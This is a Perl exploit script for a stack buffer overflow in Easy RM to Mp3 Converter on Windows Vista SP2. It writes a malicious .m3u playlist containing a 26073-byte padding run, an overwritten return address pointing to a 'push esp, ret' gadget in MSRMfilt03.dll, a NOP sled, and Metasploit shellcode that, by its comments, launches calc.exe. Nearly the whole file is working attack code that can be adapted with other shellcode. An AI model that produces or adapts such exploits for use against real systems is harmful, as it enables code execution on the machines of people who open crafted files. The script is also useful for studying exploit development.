#!/usr/bin/perl

# Exploit for vanilla stack buffer overflow in Easy RM to Mp3 Converter.
# Arshan Dabirsiaghi(@nahsra)
# http://i8jesus.com/

# Tested on Windows Vista SP2. Offsets may differ from XP SP2 through 
# Vista SP2, but there are no references to OS DLLs, ASLR-aware DLLs 
# or rebased DLLs. Not sure how to account for the offset differences
# without a huge hacky addr sled a la 1996.

#msf3 calc.exe shellcode - doesn't exit cleanly, but our calc pops.
$sc = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
      "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
      "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
      "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
      "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
      "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
      "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
      "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
      "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
      "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
      "\x7f\xe8\x7b\xca";

# Distance between our variable start (ebp+x) and saved eip.

$offset = 26073;

$eip = "\x58\xB0\x01\x10"; # push esp, ret in MSRMfilt03.dll

$payload = "A" x $offset;
$payload.= $eip;
$payload.= "\x41\x42\x43\x44"; # junk between saved eip and esp
$payload.= "\x90" x 3; # minimum NOP sled as shown by sghctoma.
$payload.= $sc;

# stack looks like this:
# [buff][vars][saved ebp][   saved eip   ][ param data..................]
# [AAAAAA...............][addr of jmp esp][4 bytes junk][nops][shellcode]

open(FILE,">pwned.m3u") || die("Couldn't write m3u");
print FILE $payload;
close(FILE);